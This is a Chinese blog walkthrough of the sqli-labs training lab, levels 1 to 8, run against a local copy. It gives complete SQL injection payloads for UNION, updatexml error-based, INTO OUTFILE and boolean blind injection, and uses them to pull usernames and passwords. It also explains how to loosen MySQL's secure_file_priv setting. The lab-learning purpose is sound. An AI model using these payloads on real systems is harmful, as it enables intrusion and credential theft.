sqli靶场复现(1-8关)

news2024/11/24 22:39:00

目录

1.sqli-labs第二关

1.判断是否存在sql注入

1.1你输入数字值的ID作为参数,我们输入?id=1

1.2在数据库可以查看到users下的对应内容

2.联合注入

2.1首先知道表格有几列,如果报错就是超过列数,如果显示正常就是没有超出列数。

2.2得到列数为3列,联合查询判断回显位,这里左边取-1是为了使左边的sql语句查询后为空,显示右边的内容:

2.3查询数据库名:

2.4得到数据库名:security,继续爆表:

2.5将 security 换成users表名,去爆破里面的内容。

2.6通过上述操作可以得到两个敏感字段就是username和password,接下来我们就要得到该字段对应的内容

2.sqli-labs第二关(整数型注入)

3.sqli-labs第三关

1.当我们在输入?id=2'的时候看到页面报错信息。可推断sql语句是单引号字符型且有括号,所以我们需要闭合单引号且也要考虑括号。

2.以下的步骤和less-1较为相似,在 ’ 后面加 ) 即可原理相似,先对数据库进行查询

4.sqli-labs第四关

1.先尝试让它报错查看原因,单引号没用双引号可以

2.对报错信息进行分析,发现代码当中对 id 参数进行了 “” 和 () 的包装。所以我们再用这样的代码来进行注入: ?id=1”) –-+

3.步骤跟上述相似

5.sqli-labs第五关(报错注入)

1.先尝试输入发现输入数字或者注释都没变化,加上单引号后悔出现报错,但是还是没有注入点

2.判断报错报错函数是否可用

3.利用UPDATEXML函数报错注入

4.爆库名 

5.爆表名

6.爆列名

7.爆字段内容

6.sqli-labs第六关(报错注入)

1.输入整数或者单引号看界面显示发现根第五关差不多情况,并且输入?id=1'也没有显示就去查看源码,发现要用双引号​编辑

2.判断报错函数是否可用

3.其余跟第五关差不多,单引号换成双引号即可

7.sqli-labs第七关

1.尝试用单引号发现报错信息,确定要使用")),根据题目显示知道这是个outfile

2.采用outfile的方式进行注入

3.打开数据库文件夹--------找到下目录下的my.ini ---------打开它,

4.在重新输入导出命令

8.sqli-labs第八关(布尔盲注)

1.先输入?id=1c出现You are in,?id=1'发现没有显示,在输入双引号试试发现恢复正常

2.这里发现和第五关有点像,我们试试报错函数是否可以用,发现不可以

3.这里考虑用布尔盲注或者时间盲注试试,

扩展:

4.爆数据库名

4.1判断长度

4.2爆破数据库名 

5.爆表名

5.1判断表的数量

5.2判断第一个表的长度

5.3 判断表的字符

6.爆表的具体字段 

6.1获取字段列数

6.2获取字段列名

7.获取表中的数据

7.1获取条数 

7.2判断数据长度 

7.3判断数据字符

7.4现在可以去数据库获取获取数据

9.sqli-labs第九关

10.sqli-labs第十关


1.sqli-labs

1.判断是否存在sql注入

1.1你输入数字值的ID作为参数,我们输入?id=1

1.2在数据库可以查看到users下的对应内容

2.联合注入

2.1首先知道表格有几列,如果报错就是超过列数,如果显示正常就是没有超出列数。

2.2得到列数为3列,联合查询判断回显位,这里左边取-1是为了使左边的sql语句查询后为空,显示右边的内容:

爆出显示位,就是看看表格里面那一列是在页面显示的。可以看到是第二列和第三列里面的数据是显示在页面的。%27是英文的单引号释符 --+

2.3查询数据库名:

http://127.0.0.1/sqli/Less-1/?id=-1%27%20union%20select%202,3,database()--+

2.4得到数据库名:security,继续爆表:

爆表,information_schema.tables表示该数据库下的tables表,点表示下一级。where后面是条件,group_concat()是将查询到结果连接起来。如果不用group_concat查询到的只有user。该语句的意思是查询information_schema数据库下的tables表里面且table_schema字段内容是security的所有table_name的内容。也就是下面表格user和passwd。

group_concat 可以将所有的tables 提取出来,information_schema是mysql特有的库,存储各种数据库的信息。

http://127.0.0.1/sqli/Less-1/?id=-1%27%20union%20select%202,3,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27security%27--+

2.5将 security 换成users表名,去爆破里面的内容。

爆字段名,我们通过sql语句查询知道当前数据库有四个表,根据表名知道可能用户的账户和密码是在users表中。接下来我们就是得到该表下的字段名以及内容。

该语句的意思是查询information_schema数据库下的columns表里面且table_users字段内容是users的所有column_name的内。注意table_name字段不是只存在于tables表,也是存在columns表中。表示所有字段对应的表名。

http://127.0.0.1/sqli/Less-1/?id=-1%27%20union%20select%202,3,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27users%27--+

2.6通过上述操作可以得到两个敏感字段就是username和password,接下来我们就要得到该字段对应的内容

2.sqli-labs(整数型注入)

当我们输入单引号或者双引号可以看到报错,且报错信息看不到数字,所有我们可以猜测sql语句应该是数字型注入。

在php文件可以看到是整数型注入

其余步骤和第一关差不多

?id=1' order by 1,2,3,4--+
?id=1' order by 1,2,3--+
?id=-1'union select 1,2,3--+
?id=-1' union select 1,2,database()--+
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=-1' union select 1,2,group_concat(username,id,password) from users--+

3.sqli-labs第三

1.当我们在输入?id=2'的时候看到页面报错信息。可推断sql语句是单引号字符型且有括号,所以我们需要闭合单引号且也要考虑括号。

 看报错,发现并没有完全闭合,那就加个')'使其闭合,再使用'--+'注释掉后面内容

2.以下的步骤和less-1较为相似,在 ’ 后面加 ) 即可
原理相似,先对数据库进行查询

?id=2')--+
?id=1') order by 3--+
?id=-1') union select 1,2,3--+
?id=-1') union select 1,database(),version()--+
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=-1') union select 1,2,group_concat(username ,id , password) from users--+

4.sqli-labs第四

1.先尝试让它报错查看原因,单引号没用双引号可以

2.对报错信息进行分析,发现代码当中对 id 参数进行了 “” 和 () 的包装。所以我们再用这样的代码来进行注入: ?id=1”) –-+

3.步骤跟上述相似

5.sqli-labs第五(报错注入)

1.先尝试输入发现输入数字或者注释都没变化,加上单引号后悔出现报错,但是还是没有注入点

页面显示数据库的报错信息,确定注入点为单引号字符型

查看源码发现,就考虑使用报错注入

2.判断报错报错函数是否可用

3.利用UPDATEXML函数报错注入

语法:UPDATEXML(XML_document, XPath_string,new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称

第二个参数:XPath_string (Xpath格式的字符串),Xpath语法

第三个参数:new_value,string格式,替换查找到的符合条件的数据

4.爆库名 

?id=1' and updatexml(1,concat(1,database()),1)--+
  1. ?id=1:这部分通常是一个URL参数,原始查询可能类似于SELECT * FROM some_table WHERE id = ?id。攻击者试图通过修改这个参数来注入恶意SQL代码。

  2. ' and:单引号(')用于闭合原始SQL语句中的字符串字面量(如果原始查询是基于字符串比较的),and用于添加额外的条件到WHERE子句中。

  3. updatexml(1,concat(1,database()),1):这是攻击的核心部分。UPDATEXML()函数尝试修改一个XML文档,但在这里它被用于触发一个错误,因为第二个参数(XPath表达式)不是一个有效的XPath表达式。concat(1,database())将数字1和当前数据库的名称连接起来,形成一个字符串,这个字符串随后被用作XPath表达式的一部分。由于这个表达式通常是无效的(因为它以数字开头),UPDATEXML()函数将返回一个错误,并且这个错误消息可能会包含数据库名称。

  4. --+:这是SQL注释的开始。--是SQL中的注释标记,后面跟一个空格(在这个例子中是+后面的空格,但+本身在这里是多余的,可能是为了绕过某些简单的输入过滤),它告诉数据库忽略该行剩余的所有内容。这确保了原始SQL语句的剩余部分(如果有的话)不会被执行,从而避免了语法错误。

得到security库名

5.爆表名

?id=1' and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema = 'security')),1)--+

6.爆列名

?id=1' and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name ='users')),1)--+

这里我不加上库名就匹配不上因此我加上了库名成功拿到列名

7.爆字段内容

?id=1' and updatexml(1,concat(1,(select username from users limit 1,1),0,(select password from users limit 1,1)),1)--+

http://127.0.0.1/sqli/Less-5/?id=1%27%20and%20updatexml(1,concat(1,(select%20username%20from%20users%20limit%202,1),0,(select%20password%20from%20users%20limit%202,1)),1)--+

这里的limit 1,1中第一个1是users、password中记录的顺序,从0开始算,第二个1代表回显一条数据记录

6.sqli-labs第六(报错注入)

1.输入整数或者单引号看界面显示发现根第五关差不多情况,并且输入?id=1'也没有显示就去查看源码,发现要用双引号

2.判断报错函数是否可用

?id=01" and updatexml(1,0x7e,3) -- a

3.其余跟第五关差不多,单引号换成双引号即可

?id=1" and updatexml(1,concat(1,(select username from users limit 1,1),0,(select password from users limit 1,1)),1)--+

7.sqli-labs第七

1.尝试用单引号发现报错信息,确定要使用")),根据题目显示知道这是个outfile

2.采用outfile的方式进行注入

SELECT column1 FROM table_name INTO OUTFILE 'file_path'
OUTFILE命令可以将查询结果导出为文本文件,CSV文件等多种格式。
注意:使用这个功能需要提前开启权限。你可以前往MySQL的源文件目录中,
           打开my.ini配置文件,并修改其中的`secure_file_priv='D://'`
           参数设置为你的安全目录。(请设置为C盘以外的磁盘,避免系统权限问题。)
           修改完成并重启后在MySQL命令行中输入`show variables like '%secure%';`查看是否设置成功。

?id=1')) union select 1,2,group_concat(table_name )from information_schema.tables where table_schema=database()   into outfile 'D:/phpstudy_pro/WWW/sqli/Less-7/1.txt' --+

这里出现了错误,百度后发现是数据库没有导出的权限

注释:

1.secure_file_priv为NULL时,不允许导入或导出。
2.secure_file_priv为/tmp时,只能在/tmp目录中执行导入导出。
3.secure_file_priv没有值时,不限制在任意目录的导入导出。

3.打开数据库文件夹--------找到下目录下的my.ini ---------打开它,

在里面写入下面这句话--------并保存

secure_file_priv=""

重启数据库

然后再打开数据库命令行输入show variables like '%secure%';

4.在重新输入导出命令

?id=1')) union select 1,2,group_concat(table_name )from information_schema.tables where table_schema=database()   into outfile 'D:/phpstudy_pro/WWW/sqli/Less-7/1.txt' --+

这里虽然显示有错误但是已经导出到1.txt中

至此漏洞利用成功

8.sqli-labs第八关(布尔盲注)

1.先输入?id=1c出现You are in,?id=1'发现没有显示,在输入双引号试试发现恢复正常

2.这里发现和第五关有点像,我们试试报错函数是否可以用,发现不可以

3.这里考虑用布尔盲注或者时间盲注试试,

扩展:

布尔盲注一般适用于页面没有回显字段(不支持联合查询),且web页面返回True 或者 false,构造SQL语句,利用and,or等关键字来其后的语句 true 、 false使web页面返回true或者false,从而达到注入的目的来获取信息

盲注分为两类:
1、布尔盲注——》 布尔很明显Ture跟Fales,也就是说它只会根据你的注入信息返回Ture跟Fales,也就没有了之前的报错信息。
2、时间盲注——》 界面返回值只有一种,true 无论输入任何值 返回情况都会按正常的来处理。加入特定的时间函数,通过查看web页面返回的时间差来判断注入的语句是否正确。

需要用到的函数:
Length()函数 返回字符串的长度
Substr()截取字符串
Ascii()返回字符的ascii码
sleep(n):将程序挂起一段时间 n为n秒
if(expr1,expr2,expr3):判断语句 如果第一个语句正确就执行第二个语句如果错误执行第三个语句

4.爆数据库名

4.1判断长度

?id=1' and length(database())>1 --+

一次从1开始加知道页面无显示就证明位数猜对了 ,这里就是数据库长度就是8位

4.2爆破数据库名 

?id=1' and ascii(substr((database()),1,1)) =115 --+
115时ascii数,115对应是s依次推断

5.爆表名

5.1判断表的数量

?id=1'   and (select count(table_name) from information_schema.tables where table_schema=database())>4  --+ 

无显示证明表的数量有4个表

5.2判断第一个表的长度

?id=1'and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),6,1))>0--+
?id=1'and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 3,1),5,1))>0--+第4张表,长度5

 爆第一个数据表,通过调整limit x,1的位置来判断数据表数量,ascii(' ' limit 0,1),y,1))判断第1个表的第y位是否有内容,0表示第一个表,最后一个1是固定写法,第二个表示是limit 1,1

显示正常就证明第一个表长度是6,超过6的话就会无显示长度就超过了 

5.3 判断表的字符

?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)) =79 --+
?id=1'and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 3,1),1,1))=117--+

正常显示就证明字符对应成功,第一个表的一个字符79对应'e',依次尝试emails

以第四个表为例,通过测试是5个元素,假设是users表。测得第一个是u(ascii码 117),依次测试‘s’(115)、‘e’(107)、‘r’(114)、‘s’(115)。

6.爆表的具体字段 

6.1获取字段列数

?id=1'   and  (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users' limit 0,1)=3 --+

?id=1'   and  (select count(column_name) from information_schema.columns where table_schema=database() and table_name='emails' limit 0,1)=2 --+

从1开始尝试列数直到页面显示就证明列数正确,这里是users表的列数为3

6.2获取字段列名

?id=1' and ascii(substr((select column_name from information_schema.columns where table_name = 'users' and table_schema = 'security' limit 0,1),1,1))=105 --+

第一列第一个字符为:i=105 

继续第二个:d

?id=1' and ascii(substr((select column_name from information_schema.columns where table_name = 'users' and table_schema = 'security' limit 0,1),2,1))=100 --+

依次求第二列:
第一个字符:u 

?id=1' and ascii(substr((select column_name from information_schema.columns where table_name = 'users' and table_schema = 'security' limit 1,1),1,1))=117 --+

limit 1,1),1,1)第一个1是第2列(1+1=2),第二个1是第二列的第一个元素,第二个元素表示limit 1,1),2,1)

第一列名:  id

第二列名:username

第三列名:password

7.获取表中的数据

7.1获取条数 

?id=1' and  (select count(*) from users)=13 --+

从1开始依次尝试直到页面正常显示 ,users表里的数据条数为13条

7.2判断数据长度 

//获取id第一条数据的长度
?id=1'   and  length((select id from users limit 0,1))=1 --+
//获取id第十条数据的长度
?id=1'   and  length((select id from users limit 9,1))=2 --+
//获取usersname第一条数据的长度
?id=1'   and  length((select username from users limit 0,1))=4 --+
//获取password第一条数据的长度
?id=1'   and  length((select password from users limit 0,1))=4 --+

7.3判断数据字符

//获取usersname中第一条数据的第一个字符
?id=1'   and ascii(substr((select username from users limit 0,1),1,1))=68 --+
D
//获取usersname中第一条数据的第二个字符
?id=1'   and ascii(substr((select username from users limit 0,1),2,1))=117 --+
u
//获取usersname中第二条数据的第一个字符
?id=1'   and ascii(substr((select username from users limit 1,1),1,1))=65 --+
A
//获取password中第一条数据的第一个字符
?id=1'   and ascii(substr((select password from users limit 0,1),1,1))=68 --+
D

limit 0,1),2,1)表示第一条数据,2表示第一条数据中的第2个字符

可见username中第一个字符为:D
然后就这样依次进行得到username:Dumb,password:Dumb

7.4现在可以去数据库获取获取数据

可见账号1Dumb 密码为Dumb

9.sqli-labs第九

10.sqli-labs第十

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1986297.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

模拟一次XFS故障,分析原因并进行修复

模拟一次XFS故障 在平常处理问题时经常会遇到文件系统损坏的问题,有时候是日志里面出现了报错但文件系统还是可以读写,有时候是文件系统已经无法读写了 分析下不同现象的原因和一些可能出现的情况。 通过直接修改块存储损坏文件系统 1、制作一个xfs文…

Pytorch基础模型,数据加载,优化算法

目录 一.nn.Module 二.优化器类 三.损失函数 四.在GPU上运行代码 五.常见的优化算法 1.梯度下降算法 2.动量法: 3.AdaGrad 4.RMSProp 六.Pytorch中的数据加载 1.数据集类 2.迭代数据集 2.Pytorch自带的数据集 一.nn.Module nn.Modul是torch.nn提供的一个…

嵌入式初学-C语言-十六

形式参数和实际参数 形式参数(形参) 函数定义时,指定的参数,形参是用来接收数据的,函数定义时,系统不会为形参申请内存,只有当函数调用时,系统才会为形参申请内存,用于存…

信息学奥赛初赛天天练-57-NOIP2018普及组-基础题1-输入输出设备、进制转换、计算机存储单位、 网络地理范围分类、等比数列求和

PDF文档公众号回复关键字:20240806 2019 CSP-J 基础题1 单项选择题(共15题,每题2分,共计30分:每题有且仅有一个正确选项) 1 以下哪一种设备属于输出设备( ) A 扫描仪 B 键盘 C 鼠标 D 打印机 2 下列四个不同进制的…

PSTNET阅读

ICLR2021 点云序列在空间维度上具有不规则性和无序性,但在时间维度上具有规律性和有序性。 现有的基于网格的卷积不能直接应用于原始点云序列的时空建模。 在时空序列下,基于网格和基于点的卷积对比。 创新点 1.首次尝试在原始点云序列建模中分解空间…

serial靶机教程

靶机下载地址 https://download.vulnhub.com/serial/serial.zip 主机发现 arp-scan -l 端口扫描 nmap 192.168.229.131 -A 根据对⽐可知serial的⼀个ip地址为192.168.47.143 该靶机开启了22端⼝和80端⼝ 对⽹站进⾏⼀个访问,⼤概意思为这是对新的cookie处理程序…

【优秀python案例】基于python爬虫的深圳房价数据分析与可视化实现

现如今,房价问题一直处于风口浪尖,房价的上涨抑或下跌都牵动着整个社会的利益,即便是政府出台各种政策方针也只能是暂时抑制楼市的涨势,对于需要买房的人来说,除了关注这些变化和政策外,还有一个非常头疼的…

工具|阅读PDF时鼠标显示为小手中有向下箭头解决方法

由于工作中,会大量阅读PDF文档,如手册,规格书,各种图纸等,因此好用的PDF工具必不可少。我主要习惯用福昕阅读器,标注比较方便。 所以,本文主要以福昕阅读器为主,当然也适用于其他的阅…

linux文本处理命令:文本搜索工具grep详解

目录 一、概述 二、基本语法 1、语法 2、常用选项 3、获取帮助 三、示例 1. 搜索文件中的字符串 2. 忽略大小写搜索 3. 显示匹配行的行号 4. 反向搜索 5. 递归搜索 6. 使用扩展正则表达式 7. 列出包含匹配项的文件 8. 显示匹配行的上下文 9. 使用正则…

从2013数学建模B题碎纸片拼接问题看递归和迭代思想

目录 1.递归实例说明 2.迭代实例说明 3.迭代思想在碎纸片拼接赛题的运用 1.递归实例说明 斐波那契数列可以使用递归,也可以使用数列的通项公式,但是这个地方建议使用数列的通项公式,因为这个递归的深度过大这个结果很难运行出来&#xff1…

使用WebDAV共享本地文件,轻量易用

特征: 使用 Golang 实现,性能极高。 最终编译成单个二进制文件,不需要 Apache 或类似的环境,依赖性很少。 支持浏览器访问。 可以在同一个端口上启用多个 WebDAV 服务,每个服务具有不同的挂载目录、用户名和密码。 良好…

嵌入式day20

feof: 检测文件是否到达结尾 ferroe: 检测文件是否发生错误 标准IO之文件定位 fseek() SEEK_END 指向最后一个字节的后一个,继续加,写文件,会将文件扩大 ftell() 获取…

STM32学习笔记1---LED,蜂鸣器

目录 GPIO LED 蜂鸣器 RCC外设 GPIO外设 总概 操作STM32的GPIO 代码 LED闪烁 LED流水灯 蜂鸣器! 连接方式 GPIO GPIO输出:向外驱动控制 GPIO输入:读取,捕获(信息)(控制&#xff09…

状压DP,abc359_d - Avoid K Palindrome

一、题目 1、题目描述 2、输入输出 2.1输入 2.2输出 3、原题链接 D - Avoid K Palindrome 二、解题报告 1、思路分析 数据量:N:1000,K:10 提示我们状态压缩 我们发现长度为K的字符串,我们可以用0表示A&#xff…

vue2项目如何引入element组件库以及如何使用element组件库

目录 一、创建项目二、进入项目1、先进入项目,![在这里插入图片描述](https://i-blog.csdnimg.cn/direct/a1ce9d928fdb4b5d85e6612f458a33db.png)2、路径栏输入cmd,然后回车3、输入code . ,然后回车 三、项目启动1、查看启动指令2、启动项目 …

VMwave安装Ubuntu20.04超详细图文教程(附VMwave17.5安装包)

VMwave安装 Ubuntu20.04 超详细图文教程 一、VMwave安装 官网下载 网盘下载 二、Ubuntu下载 三、Ubuntu20.04安装 四、安装VMwave tools 五、更改Ubuntu软件源 注:写教程的时候博主用的是VMware Workstation pro 17(VM17.5) 一、VMwave安装 以下我提供两…

常见中间件漏洞(一、Tomcat合集)

目录 一.Tomcat Tomcat介绍 1.1 CVE-2017-12615 影响范围 环境搭建 漏洞复现 1.2 后台弱口令部署war包 漏洞原理 影响版本 环境搭建 1.3 CVE-2020-1938 漏洞原理 影响版本 环境搭建 漏洞复现 一.Tomcat Tomcat介绍 tomcat是一个开源而且…

clion开发stm32f4系列(一)————移植rt-thread os系统

前言 本次使用的rt-thread的版本为5.0.2基于rt-thread sudio生成的源码进行拷贝和修改工程基于上次创建工程的项目进行修改。本次工程只是用了serial和pin组件,其他后面用到再进行添加 拷贝rt-thread源码库 通过CMakeLists来进行管理 顶级(rt-thread目录) cmake_minimum_req…

Tomcat常见漏洞复现

Tomcat介绍 tomcat是一个开源而且免费的jsp服务器,默认端口:8080,属于轻量级应用服务器。它可以实现JavaWeb程序的装载,是配置JSP(Java Server Page)和JAVA系统必备的一款环境。在历史上也披露出来了很多的漏洞,这里我们讲几个经典…

中国区域创新能力评价报告数据(2001-2023年)

《中国区城创新能力评价报告》是以中国区域创新体系建设为主题的综合性、连续性的年度研究报告。以区域创新体系理论为指导,利用大量的统计数据,综合、客观及动态地给出各省市创新能力的排名与分析。 一、数据介绍 数据名称:中国区域创新能力…